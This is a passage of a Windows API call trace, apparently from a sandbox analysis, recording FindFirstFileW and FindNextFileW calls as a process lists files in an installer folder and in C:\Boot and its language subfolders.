ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0133.273] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0133.273] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0133.273] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0133.274] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0133.274] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0133.274] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0133.274] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0133.274] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0133.274] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0133.274] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0133.274] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0133.274] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0133.274] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0133.373] FindClose (in: hFindFile=0x5babb8 | out: hFindFile=0x5babb8) returned 1 [0133.373] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3600078 | out: hHeap=0x5a0000) returned 1 [0133.373] FindNextFileW (in: hFindFile=0x5bae78, lpFindFileData=0x2e4fcf8 | out: lpFindFileData=0x2e4fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0133.373] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x69b1c8 [0133.373] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0133.374] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0133.374] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0133.374] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0133.374] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0133.374] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0133.374] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b088 [0133.374] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.374] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.375] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0133.375] FindClose (in: hFindFile=0x69b088 | out: hFindFile=0x69b088) returned 1 [0133.375] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0133.375] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0133.375] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0133.375] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0133.375] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0133.375] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b0c8 [0133.375] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.375] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.375] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0133.375] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0133.375] FindClose (in: hFindFile=0x69b0c8 | out: hFindFile=0x69b0c8) returned 1 [0133.376] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0133.376] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0133.376] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b2c8 [0133.376] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.376] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.376] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0133.376] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0133.376] FindClose (in: hFindFile=0x69b2c8 | out: hFindFile=0x69b2c8) returned 1 [0133.376] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0133.376] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0133.376] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b248 [0133.376] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.376] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", 